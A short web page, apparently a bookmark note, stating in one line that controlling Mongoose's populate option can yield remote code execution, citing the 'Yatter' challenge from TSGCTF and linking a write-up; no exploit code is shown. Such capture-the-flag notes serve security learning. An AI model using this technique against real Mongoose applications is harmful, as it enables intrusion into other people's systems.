    in mongoose you can gain RCE if you can control populate (Yatter || TSGCTF)

    https://hackmd.io/@n4o847/BkUU7EPmp

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.